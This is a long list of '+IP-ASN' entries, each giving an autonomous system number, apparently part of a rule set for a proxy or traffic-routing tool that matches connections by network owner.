+IP-ASN, 8757 +IP-ASN, 7423 +IP-ASN, 6109 +IP-ASN, 6103 +IP-ASN, 6106 +IP-ASN, 6105 +IP-ASN, 6102 +IP-ASN, 6118 +IP-ASN, 7448 +IP-ASN, 6111 +IP-ASN, 6112 +IP-ASN, 6129 +IP-ASN, 7459 +IP-ASN, 6128 +IP-ASN, 6122 +IP-ASN, 7455 +IP-ASN, 6124 +IP-ASN, 7453 +IP-ASN, 11860 +IP-ASN, 11862 +IP-ASN, 11863 +IP-ASN, 22518 +IP-ASN, 11865 +IP-ASN, 11866 +IP-ASN, 22516 +IP-ASN, 393512 +IP-ASN, 11868 +IP-ASN, 394844 +IP-ASN, 394845 +IP-ASN, 10538 +IP-ASN, 393510 +IP-ASN, 22513 +IP-ASN, 22511 +IP-ASN, 393516 +IP-ASN, 393515 +IP-ASN, 394841 +IP-ASN, 22510 +IP-ASN, 393514 +IP-ASN, 393513 +IP-ASN, 394843 +IP-ASN, 393508 +IP-ASN, 393507 +IP-ASN, 393506 +IP-ASN, 35829 +IP-ASN, 394838 +IP-ASN, 394839 +IP-ASN, 11870 +IP-ASN, 11852 +IP-ASN, 22509 +IP-ASN, 394850 +IP-ASN, 11854 +IP-ASN, 22507 +IP-ASN, 11855 +IP-ASN, 11857 +IP-ASN, 394855 +IP-ASN, 22504 +IP-ASN, 394856 +IP-ASN, 393522 +IP-ASN, 11858 +IP-ASN, 393521 +IP-ASN, 22502 +IP-ASN, 394858 +IP-ASN, 393520 +IP-ASN, 394851 +IP-ASN, 393527 +IP-ASN, 22500 +IP-ASN, 394853 +IP-ASN, 393524 +IP-ASN, 393518 +IP-ASN, 7407 +IP-ASN, 11840 +IP-ASN, 394860 +IP-ASN, 7406 +IP-ASN, 11841 +IP-ASN, 394861 +IP-ASN, 393530 +IP-ASN, 11842 +IP-ASN, 10511 +IP-ASN, 394866 +IP-ASN, 393534 +IP-ASN, 11847 +IP-ASN, 394867 +IP-ASN, 394868 +IP-ASN, 10517 +IP-ASN, 394869 +IP-ASN, 393531 +IP-ASN, 394862 +IP-ASN, 393538 +IP-ASN, 393536 +IP-ASN, 394864 +IP-ASN, 393535 +IP-ASN, 394865 +IP-ASN, 393529 +IP-ASN, 394859 +IP-ASN, 394870 +IP-ASN, 394872 +IP-ASN, 393541 +IP-ASN, 7415 +IP-ASN, 11833 +IP-ASN, 11834 +IP-ASN, 394877 +IP-ASN, 393544 +IP-ASN, 394878 +IP-ASN, 11836 +IP-ASN, 394879 +IP-ASN, 10506 +IP-ASN, 393542 +IP-ASN, 11838 +IP-ASN, 10507 +IP-ASN, 393549 +IP-ASN, 10508 +IP-ASN, 393548 +IP-ASN, 393547 +IP-ASN, 394875 +IP-ASN, 393546 +IP-ASN, 394880 +IP-ASN, 394881 +IP-ASN, 394882 +IP-ASN, 394883 +IP-ASN, 393552 +IP-ASN, 11820 +IP-ASN, 11821 +IP-ASN, 393550 +IP-ASN, 11822 +IP-ASN, 11823 +IP-ASN, 393556 +IP-ASN, 394888 +IP-ASN, 394889 +IP-ASN, 393555 +IP-ASN, 11825 +IP-ASN, 393554 +IP-ASN, 11826 +IP-ASN, 11827 +IP-ASN, 393553 +IP-ASN, 394884 +IP-ASN, 393559 +IP-ASN, 11829 +IP-ASN, 393558 +IP-ASN, 394887 +IP-ASN, 393557 +IP-ASN, 394891 +IP-ASN, 394893 +IP-ASN, 393563 +IP-ASN, 393562 +IP-ASN, 11811 +IP-ASN, 394890 +IP-ASN, 393560 +IP-ASN, 394899 +IP-ASN, 393567 +IP-ASN, 11813 +IP-ASN, 393566 +IP-ASN, 393565 +IP-ASN, 393564 +IP-ASN, 11817 +IP-ASN, 394895 +IP-ASN, 394896 +IP-ASN, 394897 +IP-ASN, 393569 +IP-ASN, 11819 +IP-ASN, 394898 +IP-ASN, 393568 +IP-ASN, 393570 +IP-ASN, 393574 +IP-ASN, 393572 +IP-ASN, 393571 +IP-ASN, 393578 +IP-ASN, 393577 +IP-ASN, 393576 +IP-ASN, 11804 +IP-ASN, 11805 +IP-ASN, 393575 +IP-ASN, 11806 +IP-ASN, 11808 +IP-ASN, 11809 +IP-ASN, 393579 +IP-ASN, 393581 +IP-ASN, 393580 +IP-ASN, 393585 +IP-ASN, 393584 +IP-ASN, 393583 +IP-ASN, 393582 +IP-ASN, 393587 +IP-ASN, 393586 +IP-ASN, 33131 +IP-ASN, 10497 +IP-ASN, 33133 +IP-ASN, 33132 +IP-ASN, 10499 +IP-ASN, 46449 +IP-ASN, 22479 +IP-ASN, 46445 +IP-ASN, 22478 +IP-ASN, 46447 +IP-ASN, 47778 +IP-ASN, 46446 +IP-ASN, 22475 +IP-ASN, 46452 +IP-ASN, 22485 +IP-ASN, 22484 +IP-ASN, 46451 +IP-ASN, 46454 +IP-ASN, 46453 +IP-ASN, 22482 +IP-ASN, 22481 +IP-ASN, 22480 +IP-ASN, 46450 +IP-ASN, 33127 +IP-ASN, 33129 +IP-ASN, 33123 +IP-ASN, 33125 +IP-ASN, 33120 +IP-ASN, 10487 +IP-ASN, 10488 +IP-ASN, 33121 +IP-ASN, 10489 +IP-ASN, 46459 +IP-ASN, 22469 +IP-ASN, 46456 +IP-ASN, 46455 +IP-ASN, 22466 +IP-ASN, 46458 +IP-ASN, 46457 +IP-ASN, 22464 +IP-ASN, 22474 +IP-ASN, 22473 +IP-ASN, 22472 +IP-ASN, 46465 +IP-ASN, 22471 +IP-ASN, 22470 +IP-ASN, 46461 +IP-ASN, 46460 +IP-ASN, 33116 +IP-ASN, 10490 +IP-ASN, 33119 +IP-ASN, 215207 +IP-ASN, 33113 +IP-ASN, 35777 +IP-ASN, 33112 +IP-ASN, 10493 +IP-ASN, 33115 +IP-ASN, 10494 +IP-ASN, 33114 +IP-ASN, 33111 +IP-ASN, 394901 +IP-ASN, 22458 +IP-ASN, 394902 +IP-ASN, 46467 +IP-ASN, 22455 +IP-ASN, 46469 +IP-ASN, 46468 +IP-ASN, 46474 +IP-ASN, 22463 +IP-ASN, 22462 +IP-ASN, 46473 +IP-ASN, 46476 +IP-ASN, 46475 +IP-ASN, 22460 +IP-ASN, 46470 +IP-ASN, 204548 +IP-ASN, 46472 +IP-ASN, 46471 +IP-ASN, 34437 +IP-ASN, 33104 +IP-ASN, 33103 +IP-ASN, 10464 +IP-ASN, 11795 +IP-ASN, 11796 +IP-ASN, 33100 +IP-ASN, 10466 +IP-ASN, 11798 +IP-ASN, 11799 +IP-ASN, 10469 +IP-ASN, 394910 +IP-ASN, 22449 +IP-ASN, 394911 +IP-ASN, 22448 +IP-ASN, 394912 +IP-ASN, 22447 +IP-ASN, 394913 +IP-ASN, 22446 +IP-ASN, 22445 +IP-ASN, 22444 +IP-ASN, 22442 +IP-ASN, 46479 +IP-ASN, 394907 +IP-ASN, 394908 +IP-ASN, 46484 +IP-ASN, 22451 +IP-ASN, 22450 +IP-ASN, 394903 +IP-ASN, 46481 +IP-ASN, 46480 +IP-ASN, 46483 +IP-ASN, 34425 +IP-ASN, 11783 +IP-ASN, 11784 +IP-ASN, 11785 +IP-ASN, 10455 +IP-ASN, 11787 +IP-ASN, 10457 +IP-ASN, 11789 +IP-ASN, 22439 +IP-ASN, 22438 +IP-ASN, 394921 +IP-ASN, 394922 +IP-ASN, 394923 +IP-ASN, 22436 +IP-ASN, 23766 +IP-ASN, 22435 +IP-ASN, 46489 +IP-ASN, 23765 +IP-ASN, 22434 +IP-ASN, 46488 +IP-ASN, 22433 +IP-ASN, 394918 +IP-ASN, 22441 +IP-ASN, 46496 +IP-ASN, 46498 +IP-ASN, 46492 +IP-ASN, 46491 +IP-ASN, 394915 +IP-ASN, 46494 +IP-ASN, 394916 +IP-ASN, 394917 +IP-ASN, 46490 +IP-ASN, 11790 +IP-ASN, 11791 +IP-ASN, 10461 +IP-ASN, 11793 +IP-ASN, 10441 +IP-ASN, 11773 +IP-ASN, 11775 +IP-ASN, 10444 +IP-ASN, 11776 +IP-ASN, 10445 +IP-ASN, 11777 +IP-ASN, 10448 +IP-ASN, 22428 +IP-ASN, 22427 +IP-ASN, 393600 +IP-ASN, 394933 +IP-ASN, 394934 +IP-ASN, 22425 +IP-ASN, 394935 +IP-ASN, 393604 +IP-ASN, 22422 +IP-ASN, 393602 +IP-ASN, 394930 +IP-ASN, 22420 +IP-ASN, 393601 +IP-ASN, 394929 +IP-ASN, 394925 +IP-ASN, 394927 +IP-ASN, 394928 +IP-ASN, 11781 +IP-ASN, 11782 +IP-ASN, 10430 +IP-ASN, 10431 +IP-ASN, 11763 +IP-ASN, 11766 +IP-ASN, 22419 +IP-ASN, 22418 +IP-ASN, 11767 +IP-ASN, 10437 +IP-ASN, 22417 +IP-ASN, 393611 +IP-ASN, 394944 +IP-ASN, 10439 +IP-ASN, 22415 +IP-ASN, 393610 +IP-ASN, 22414 +IP-ASN, 394945 +IP-ASN, 22413 +IP-ASN, 394946 +IP-ASN, 393615 +IP-ASN, 393614 +IP-ASN, 393613 +IP-ASN, 394941 +IP-ASN, 394942 +IP-ASN, 393606 +IP-ASN, 393605 +IP-ASN, 394936 +IP-ASN, 394939 +IP-ASN, 11770 +IP-ASN, 10440 +IP-ASN, 57175 +IP-ASN, 10421 +IP-ASN, 11753 +IP-ASN, 10423 +IP-ASN, 22408 +IP-ASN, 11755 +IP-ASN, 10425 +IP-ASN, 11756 +IP-ASN, 11757 +IP-ASN, 11758 +IP-ASN, 394954 +IP-ASN, 393622 +IP-ASN, 22405 +IP-ASN, 11759 +IP-ASN, 22403 +IP-ASN, 22402 +IP-ASN, 394957 +IP-ASN, 394950 +IP-ASN, 393626 +IP-ASN, 393625 +IP-ASN, 394951 +IP-ASN, 394952 +IP-ASN, 393619 +IP-ASN, 393618 +IP-ASN, 393616 +IP-ASN, 394948 +IP-ASN, 394949 +IP-ASN, 11760 +IP-ASN, 215280 +IP-ASN, 33197 +IP-ASN, 33196 +IP-ASN, 33199 +IP-ASN, 33198 +IP-ASN, 33193 +IP-ASN, 215274 +IP-ASN, 33192 +IP-ASN, 33194 +IP-ASN, 33190 +IP-ASN, 33189 +IP-ASN, 33186 +IP-ASN, 33187 +IP-ASN, 33182 +IP-ASN, 33184 +IP-ASN, 203283 +IP-ASN, 33179 +IP-ASN, 33178 +IP-ASN, 33174 +IP-ASN, 33177 +IP-ASN, 33176 +IP-ASN, 33170 +IP-ASN, 33173 +IP-ASN, 46405 +IP-ASN, 46404 +IP-ASN, 46407 +IP-ASN, 46406 +IP-ASN, 46401 +IP-ASN, 46400 +IP-ASN, 6290 +IP-ASN, 46410 +IP-ASN, 33168 +IP-ASN, 33167 +IP-ASN, 6295 +IP-ASN, 33163 +IP-ASN, 33166 +IP-ASN, 33160 +IP-ASN, 215241 +IP-ASN, 33161 +IP-ASN, 46416 +IP-ASN, 46411 +IP-ASN, 46414 +IP-ASN, 46413 +IP-ASN, 33159 +IP-ASN, 33153 +IP-ASN, 33152 +IP-ASN, 33155 +IP-ASN, 33154 +IP-ASN, 33151 +IP-ASN, 46427 +IP-ASN, 46426 +IP-ASN, 46429 +IP-ASN, 47754 +IP-ASN, 46425 +IP-ASN, 22498 +IP-ASN, 46424 +IP-ASN, 22497 +IP-ASN, 46432 +IP-ASN, 33149 +IP-ASN, 33145 +IP-ASN, 33141 +IP-ASN, 46438 +IP-ASN, 46437 +IP-ASN, 46439 +IP-ASN, 22489 +IP-ASN, 46434 +IP-ASN, 46433 +IP-ASN, 46436 +IP-ASN, 22487 +IP-ASN, 46435 +IP-ASN, 22496 +IP-ASN, 46440 +IP-ASN, 22495 +IP-ASN, 46443 +IP-ASN, 46442 +IP-ASN, 33138 +IP-ASN, 33134 +IP-ASN, 33136 +IP-ASN, 6254 +IP-ASN, 6253 +IP-ASN, 6256 +IP-ASN, 6250 +IP-ASN, 6269 +IP-ASN, 6267 +IP-ASN, 6266 +IP-ASN, 6263 +IP-ASN, 6279 +IP-ASN, 6286 +IP-ASN, 6289 +IP-ASN, 6282 +IP-ASN, 6216 +IP-ASN, 6210 +IP-ASN, 6224 +IP-ASN, 6220 +IP-ASN, 6223 +IP-ASN, 6222 +IP-ASN, 6231 +IP-ASN, 6233 +IP-ASN, 215188 +IP-ASN, 6248 +IP-ASN, 6245 +IP-ASN, 11740 +IP-ASN, 11741 +IP-ASN, 10411 +IP-ASN, 394960 +IP-ASN, 11743 +IP-ASN, 11745 +IP-ASN, 11746 +IP-ASN, 393633 +IP-ASN, 11747 +IP-ASN, 394966 +IP-ASN, 393631 +IP-ASN, 11749 +IP-ASN, 394968 +IP-ASN, 10419 +IP-ASN, 394961 +IP-ASN, 394962 +IP-ASN, 393635 +IP-ASN, 394964 +IP-ASN, 205811 +IP-ASN, 11730 +IP-ASN, 11731 +IP-ASN, 393640 +IP-ASN, 11732 +IP-ASN, 11733 +IP-ASN, 10402 +IP-ASN, 11734 +IP-ASN, 394976 +IP-ASN, 10405 +IP-ASN, 11736 +IP-ASN, 394977 +IP-ASN, 10406 +IP-ASN, 11737 +IP-ASN, 393642 +IP-ASN, 11738 +IP-ASN, 11739 +IP-ASN, 394979 +IP-ASN, 393641 +IP-ASN, 393648 +IP-ASN, 394972 +IP-ASN, 394973 +IP-ASN, 393647 +IP-ASN, 394975 +IP-ASN, 393639 +IP-ASN, 393638 +IP-ASN, 394969 +IP-ASN, 394980 +IP-ASN, 394981 +IP-ASN, 394982 +IP-ASN, 11720 +IP-ASN, 393651 +IP-ASN, 11721 +IP-ASN, 11722 +IP-ASN, 393650 +IP-ASN, 11724 +IP-ASN, 393655 +IP-ASN, 394987 +IP-ASN, 394988 +IP-ASN, 11726 +IP-ASN, 393652 +IP-ASN, 11729 +IP-ASN, 394984 +IP-ASN, 393658 +IP-ASN, 394985 +IP-ASN, 393657 +IP-ASN, 393649 +IP-ASN, 394990 +IP-ASN, 394991 +IP-ASN, 6209 +IP-ASN, 394993 +IP-ASN, 6203 +IP-ASN, 393662 +IP-ASN, 11710 +IP-ASN, 11711 +IP-ASN, 393661 +IP-ASN, 11712 +IP-ASN, 11713 +IP-ASN, 11714 +IP-ASN, 394998 +IP-ASN, 393666 +IP-ASN, 394999 +IP-ASN, 393665 +IP-ASN, 11716 +IP-ASN, 393663 +IP-ASN, 394994 +IP-ASN, 11718 +IP-ASN, 393669 +IP-ASN, 11719 +IP-ASN, 394996 +IP-ASN, 393668 +IP-ASN, 393667 +IP-ASN, 394997 +IP-ASN, 6200 +IP-ASN, 393673 +IP-ASN, 393672 +IP-ASN, 393671 +IP-ASN, 393670 +IP-ASN, 393677 +IP-ASN, 11704 +IP-ASN, 393674 +IP-ASN, 11708 +IP-ASN, 11709 +IP-ASN, 393680 +IP-ASN, 393684 +IP-ASN, 393683 +IP-ASN, 393681 +IP-ASN, 393688 +IP-ASN, 393687 +IP-ASN, 393685 +IP-ASN, 393689 +IP-ASN, 393691 +IP-ASN, 393690 +IP-ASN, 393695 +IP-ASN, 393698 +IP-ASN, 393697 +IP-ASN, 393696 +IP-ASN, 61961 +IP-ASN, 397279 +IP-ASN, 33010 +IP-ASN, 10376 +IP-ASN, 10377 +IP-ASN, 33012 +IP-ASN, 10379 +IP-ASN, 397275 +IP-ASN, 397274 +IP-ASN, 397277 +IP-ASN, 397276 +IP-ASN, 46328 +IP-ASN, 46329 +IP-ASN, 22358 +IP-ASN, 46323 +IP-ASN, 47657 +IP-ASN, 46326 +IP-ASN, 60632 +IP-ASN, 46325 +IP-ASN, 22364 +IP-ASN, 46331 +IP-ASN, 22363 +IP-ASN, 46330 +IP-ASN, 22362 +IP-ASN, 22361 +IP-ASN, 22360 +IP-ASN, 397271 +IP-ASN, 397270 +IP-ASN, 397273 +IP-ASN, 33009 +IP-ASN, 10381 +IP-ASN, 33008 +IP-ASN, 33003 +IP-ASN, 10384 +IP-ASN, 33004 +IP-ASN, 139706 +IP-ASN, 11695 +IP-ASN, 10364 +IP-ASN, 11696 +IP-ASN, 397289 +IP-ASN, 33001 +IP-ASN, 10367 +IP-ASN, 33000 +IP-ASN, 11698 +IP-ASN, 11699 +IP-ASN, 397285 +IP-ASN, 397288 +IP-ASN, 397287 +IP-ASN, 46339 +IP-ASN, 45008 +IP-ASN, 46338 +IP-ASN, 22349 +IP-ASN, 22347 +IP-ASN, 46335 +IP-ASN, 22346 +IP-ASN, 22345 +IP-ASN, 46334 +IP-ASN, 22344 +IP-ASN, 22343 +IP-ASN, 139705 +IP-ASN, 46336 +IP-ASN, 46342 +IP-ASN, 22353 +IP-ASN, 46341 +IP-ASN, 22352 +IP-ASN, 22351 +IP-ASN, 22350 +IP-ASN, 46340 +IP-ASN, 397282 +IP-ASN, 397281 +IP-ASN, 397284 +IP-ASN, 10370 +IP-ASN, 397283 +IP-ASN, 58313 +IP-ASN, 10372 +IP-ASN, 59662 +IP-ASN, 11684 +IP-ASN, 10353 +IP-ASN, 11685 +IP-ASN, 11686 +IP-ASN, 10355 +IP-ASN, 11687 +IP-ASN, 11688 +IP-ASN, 10357 +IP-ASN, 397297 +IP-ASN, 10358 +IP-ASN, 10359 +IP-ASN, 397298 +IP-ASN, 22338 +IP-ASN, 22337 +IP-ASN, 22336 +IP-ASN, 22335 +IP-ASN, 46346 +IP-ASN, 22334 +IP-ASN, 60653 +IP-ASN, 22333 +IP-ASN, 46348 +IP-ASN, 22332 +IP-ASN, 46347 +IP-ASN, 46353 +IP-ASN, 22342 +IP-ASN, 46352 +IP-ASN, 22340 +IP-ASN, 46354 +IP-ASN, 46351 +IP-ASN, 46350 +IP-ASN, 397293 +IP-ASN, 397292 +IP-ASN, 397295 +IP-ASN, 11690 +IP-ASN, 397294 +IP-ASN, 10360 +IP-ASN, 10361 +IP-ASN, 11692 +IP-ASN, 397291 +IP-ASN, 59657 +IP-ASN, 11693 +IP-ASN, 397290 +IP-ASN, 10343 +IP-ASN, 11674 +IP-ASN, 11676 +IP-ASN, 11678 +IP-ASN, 11679 +IP-ASN, 10348 +IP-ASN, 10349 +IP-ASN, 22328 +IP-ASN, 22326 +IP-ASN, 22324 +IP-ASN, 46357 +IP-ASN, 46356 +IP-ASN, 22323 +IP-ASN, 22322 +IP-ASN, 46359 +IP-ASN, 22321 +IP-ASN, 46358 +IP-ASN, 22330 +IP-ASN, 46363 +IP-ASN, 46365 +IP-ASN, 46362 +IP-ASN, 46361 +IP-ASN, 11681 +IP-ASN, 10351 +IP-ASN, 10352 +IP-ASN, 11662 +IP-ASN, 11663 +IP-ASN, 11665 +IP-ASN, 11667 +IP-ASN, 22319 +IP-ASN, 11668 +IP-ASN, 22317 +IP-ASN, 22316 +IP-ASN, 22315 +IP-ASN, 22314 +IP-ASN, 46368 +IP-ASN, 22312 +IP-ASN, 46367 +IP-ASN, 22311 +IP-ASN, 22310 +IP-ASN, 46369 +IP-ASN, 46375 +IP-ASN, 22320 +IP-ASN, 46374 +IP-ASN, 46376 +IP-ASN, 8190 +IP-ASN, 46373 +IP-ASN, 59678 +IP-ASN, 10340 +IP-ASN, 11651 +IP-ASN, 10320 +IP-ASN, 11653 +IP-ASN, 10322 +IP-ASN, 10325 +IP-ASN, 11656 +IP-ASN, 12989 +IP-ASN, 10326 +IP-ASN, 11657 +IP-ASN, 11659 +IP-ASN, 22304 +IP-ASN, 22303 +IP-ASN, 22302 +IP-ASN, 46379 +IP-ASN, 46378 +IP-ASN, 22301 +IP-ASN, 22300 +IP-ASN, 46385 +IP-ASN, 46388 +IP-ASN, 46387 +IP-ASN, 35619 +IP-ASN, 46381 +IP-ASN, 46384 +IP-ASN, 11640 +IP-ASN, 10310 +IP-ASN, 11643 +IP-ASN, 10317 +IP-ASN, 11649 +IP-ASN, 46397 +IP-ASN, 46399 +IP-ASN, 46398 +IP-ASN, 46393 +IP-ASN, 46392 +IP-ASN, 46391 +IP-ASN, 46390 +IP-ASN, 11650 +IP-ASN, 11632 +IP-ASN, 10302 +IP-ASN, 11633 +IP-ASN, 11637 +IP-ASN, 10308 +IP-ASN, 11639 +IP-ASN, 10309 +IP-ASN, 33097 +IP-ASN, 399855 +IP-ASN, 399852 +IP-ASN, 399853 +IP-ASN, 33099 +IP-ASN, 399851 +IP-ASN, 33093 +IP-ASN, 33095 +IP-ASN, 399856 +IP-ASN, 8158 +IP-ASN, 8159 +IP-ASN, 397202 +IP-ASN, 33087 +IP-ASN, 399866 +IP-ASN, 398535 +IP-ASN, 397201 +IP-ASN, 33089 +IP-ASN, 397204 +IP-ASN, 33088 +IP-ASN, 399864 +IP-ASN, 397203 +IP-ASN, 33083 +IP-ASN, 33082 +IP-ASN, 33085 +IP-ASN, 397200 +IP-ASN, 33084 +IP-ASN, 399860 +IP-ASN, 397209 +IP-ASN, 33081 +IP-ASN, 399869 +IP-ASN, 398538 +IP-ASN, 397206 +IP-ASN, 398539 +IP-ASN, 398536 +IP-ASN, 399867 +IP-ASN, 399868 +IP-ASN, 398537 +IP-ASN, 397207 +IP-ASN, 8161 +IP-ASN, 8164 +IP-ASN, 399876 +IP-ASN, 398545 +IP-ASN, 397213 +IP-ASN, 399877 +IP-ASN, 398543 +IP-ASN, 397215 +IP-ASN, 399875 +IP-ASN, 398544 +IP-ASN, 399872 +IP-ASN, 33071 +IP-ASN, 398542 +IP-ASN, 399871 +IP-ASN, 33073 +IP-ASN, 398540 +IP-ASN, 397210 +IP-ASN, 33070 +IP-ASN, 398549 +IP-ASN, 397217 +IP-ASN, 397219 +IP-ASN, 399879 +IP-ASN, 398548 +IP-ASN, 397218 +IP-ASN, 33069 +IP-ASN, 8175 +IP-ASN, 398556 +IP-ASN, 397224 +IP-ASN, 399888 +IP-ASN, 398557 +IP-ASN, 397223 +IP-ASN, 399885 +IP-ASN, 398554 +IP-ASN, 33067 +IP-ASN, 397226 +IP-ASN, 399886 +IP-ASN, 398555 +IP-ASN, 397225 +IP-ASN, 399883 +IP-ASN, 398552 +IP-ASN, 397220 +IP-ASN, 33060 +IP-ASN, 399881 +IP-ASN, 398550 +IP-ASN, 397222 +IP-ASN, 399882 +IP-ASN, 33062 +IP-ASN, 398551 +IP-ASN, 397221 +IP-ASN, 397228 +IP-ASN, 397227 +IP-ASN, 399889 +IP-ASN, 398558 +IP-ASN, 397229 +IP-ASN, 398559 +IP-ASN, 399880 +IP-ASN, 33058 +IP-ASN, 8188 +IP-ASN, 33059 +IP-ASN, 399898 +IP-ASN, 33054 +IP-ASN, 398567 +IP-ASN, 397235 +IP-ASN, 397234 +IP-ASN, 399896 +IP-ASN, 398565 +IP-ASN, 397237 +IP-ASN, 398566 +IP-ASN, 398563 +IP-ASN, 399894 +IP-ASN, 397231 +IP-ASN, 399895 +IP-ASN, 8119 +IP-ASN, 398564 +IP-ASN, 397230 +IP-ASN, 8116 +IP-ASN, 398561 +IP-ASN, 33052 +IP-ASN, 397233 +IP-ASN, 399893 +IP-ASN, 397232 +IP-ASN, 33051 +IP-ASN, 397239 +IP-ASN, 397238 +IP-ASN, 22399 +IP-ASN, 399890 +IP-ASN, 398560 +IP-ASN, 33046 +IP-ASN, 398578 +IP-ASN, 397246 +IP-ASN, 398576 +IP-ASN, 33045 +IP-ASN, 397248 +IP-ASN, 398577 +IP-ASN, 398574 +IP-ASN, 397242 +IP-ASN, 397241 +IP-ASN, 397244 +IP-ASN, 398572 +IP-ASN, 398573 +IP-ASN, 397243 +IP-ASN, 22389 +IP-ASN, 22388 +IP-ASN, 22396 +IP-ASN, 22395 +IP-ASN, 22394 +IP-ASN, 22391 +IP-ASN, 22390 +IP-ASN, 398570 +IP-ASN, 398571 +IP-ASN, 8123 +IP-ASN, 397240 +IP-ASN, 8121 +IP-ASN, 8122 +IP-ASN, 33038 +IP-ASN, 8120 +IP-ASN, 10397 +IP-ASN, 33032 +IP-ASN, 33031 +IP-ASN, 397256 +IP-ASN, 397259 +IP-ASN, 10399 +IP-ASN, 397258 +IP-ASN, 46309 +IP-ASN, 397252 +IP-ASN, 33030 +IP-ASN, 46305 +IP-ASN, 46307 +IP-ASN, 22379 +IP-ASN, 46302 +IP-ASN, 46301 +IP-ASN, 22377 +IP-ASN, 46303 +IP-ASN, 22385 +IP-ASN, 22384 +IP-ASN, 46311 +IP-ASN, 33029 +IP-ASN, 398581 +IP-ASN, 8137 +IP-ASN, 8134 +IP-ASN, 397251 +IP-ASN, 398580 +IP-ASN, 8135 +IP-ASN, 397250 +IP-ASN, 8132 +IP-ASN, 33025 +IP-ASN, 33024 +IP-ASN, 33027 +IP-ASN, 8131 +IP-ASN, 33026 +IP-ASN, 397268 +IP-ASN, 397267 +IP-ASN, 33023 +IP-ASN, 397269 +IP-ASN, 33022 +IP-ASN, 397263 +IP-ASN, 8149 +IP-ASN, 397266 +IP-ASN, 46319 +IP-ASN, 46318 +IP-ASN, 22369 +IP-ASN, 46313 +IP-ASN, 46312 +IP-ASN, 46315 +IP-ASN, 46314 +IP-ASN, 22370 +IP-ASN, 8147 +IP-ASN, 10390 +IP-ASN, 10392 +IP-ASN, 33019 +IP-ASN, 397261 +IP-ASN, 33014 +IP-ASN, 33016 +IP-ASN, 33015 +IP-ASN, 211535 +IP-ASN, 9400 +IP-ASN, 137194 +IP-ASN, 399907 +IP-ASN, 399903 +IP-ASN, 399900 +IP-ASN, 399901 +IP-ASN, 198109 +IP-ASN, 399917 +IP-ASN, 399918 +IP-ASN, 399913 +IP-ASN, 399914 +IP-ASN, 399911 +IP-ASN, 399912 +IP-ASN, 399908 +IP-ASN, 399909 +IP-ASN, 199465 +IP-ASN, 9423 +IP-ASN, 399920 +IP-ASN, 399921 +IP-ASN, 399929 +IP-ASN, 399924 +IP-ASN, 399925 +IP-ASN, 399922 +IP-ASN, 399919 +IP-ASN, 8103 +IP-ASN, 8104 +IP-ASN, 8100 +IP-ASN, 399932 +IP-ASN, 399939 +IP-ASN, 399937 +IP-ASN, 399938 +IP-ASN, 399935 +IP-ASN, 399936 +IP-ASN, 399942 +IP-ASN, 399943 +IP-ASN, 399940 +IP-ASN, 399941 +IP-ASN, 399948 +IP-ASN, 399946 +IP-ASN, 399947 +IP-ASN, 399953 +IP-ASN, 399951 +IP-ASN, 399950 +IP-ASN, 397301 +IP-ASN, 399965 +IP-ASN, 397300 +IP-ASN, 399962 +IP-ASN, 397303 +IP-ASN, 397302 +IP-ASN, 200827 +IP-ASN, 399961 +IP-ASN, 397309 +IP-ASN, 397308 +IP-ASN, 398639 +IP-ASN, 399968 +IP-ASN, 398637 +IP-ASN, 397305 +IP-ASN, 398638 +IP-ASN, 397304 +IP-ASN, 399969 +IP-ASN, 397307 +IP-ASN, 398636 +IP-ASN, 399967 +IP-ASN, 397306 +IP-ASN, 11620 +IP-ASN, 11621 +IP-ASN, 11622 +IP-ASN, 11623 +IP-ASN, 11624 +IP-ASN, 46298 +IP-ASN, 46299 +IP-ASN, 46294 +IP-ASN, 46293 +IP-ASN, 46295 +IP-ASN, 46290 +IP-ASN, 46292 +IP-ASN, 46291 +IP-ASN, 11610 +IP-ASN, 11612 +IP-ASN, 11619 +IP-ASN, 11602 +IP-ASN, 11603 +IP-ASN, 11604 +IP-ASN, 11605 +IP-ASN, 11606 +IP-ASN, 11607 +IP-ASN, 11608 +IP-ASN, 11609 +IP-ASN, 210266 +IP-ASN, 209241 +IP-ASN, 209242 +IP-ASN, 211562 +IP-ASN, 212879 +IP-ASN, 211544 +IP-ASN, 211541 +IP-ASN, 396069 +IP-ASN, 11586 +IP-ASN, 10255 +IP-ASN, 396065 +IP-ASN, 11589 +IP-ASN, 397396 +IP-ASN, 397398 +IP-ASN, 396066 +IP-ASN, 46207 +IP-ASN, 46206 +IP-ASN, 46209 +IP-ASN, 22238 +IP-ASN, 46208 +IP-ASN, 22237 +IP-ASN, 46203 +IP-ASN, 22236 +IP-ASN, 46202 +IP-ASN, 22234 +IP-ASN, 46204 +IP-ASN, 22233 +IP-ASN, 22243 +IP-ASN, 22241 +IP-ASN, 46212 +IP-ASN, 46211 +IP-ASN, 397392 +IP-ASN, 397391 +IP-ASN, 397394 +IP-ASN, 11590 +IP-ASN, 396062 +IP-ASN, 397393 +IP-ASN, 11593 +IP-ASN, 11595 +IP-ASN, 11575 +IP-ASN, 396079 +IP-ASN, 11577 +IP-ASN, 10248 +IP-ASN, 11579 +IP-ASN, 396075 +IP-ASN, 396078 +IP-ASN, 10249 +IP-ASN, 396077 +IP-ASN, 46218 +IP-ASN, 22229 +IP-ASN, 22228 +IP-ASN, 60506 +IP-ASN, 60504 +IP-ASN, 22226 +IP-ASN, 22225 +IP-ASN, 46214 +IP-ASN, 46213 +IP-ASN, 46216 +IP-ASN, 22223 +IP-ASN, 22222 +IP-ASN, 46215 +IP-ASN, 46221 +IP-ASN, 46220 +IP-ASN, 22231 +IP-ASN, 22230 +IP-ASN, 47553 +IP-ASN, 396072 +IP-ASN, 396071 +IP-ASN, 396074 +IP-ASN, 396073 +IP-ASN, 10250 +IP-ASN, 11582 +IP-ASN, 396070 +IP-ASN, 36863 +IP-ASN, 11584 +IP-ASN, 11563 +IP-ASN, 36862 +IP-ASN, 36861 +IP-ASN, 36860 +IP-ASN, 396087 +IP-ASN, 396086 +IP-ASN, 396089 +IP-ASN, 396088 +IP-ASN, 46229 +IP-ASN, 22218 +IP-ASN, 23548 +IP-ASN, 22217 +IP-ASN, 46228 +IP-ASN, 22216 +IP-ASN, 23546 +IP-ASN, 22215 +IP-ASN, 22214 +IP-ASN, 46224 +IP-ASN, 23544 +IP-ASN, 22213 +IP-ASN, 46226 +IP-ASN, 23542 +IP-ASN, 22221 +IP-ASN, 46231 +IP-ASN, 22220 +IP-ASN, 23550 +IP-ASN, 46233 +IP-ASN, 396083 +IP-ASN, 36858 +IP-ASN, 396085 +IP-ASN, 36857 +IP-ASN, 36856 +IP-ASN, 36855 +IP-ASN, 11570 +IP-ASN, 36854 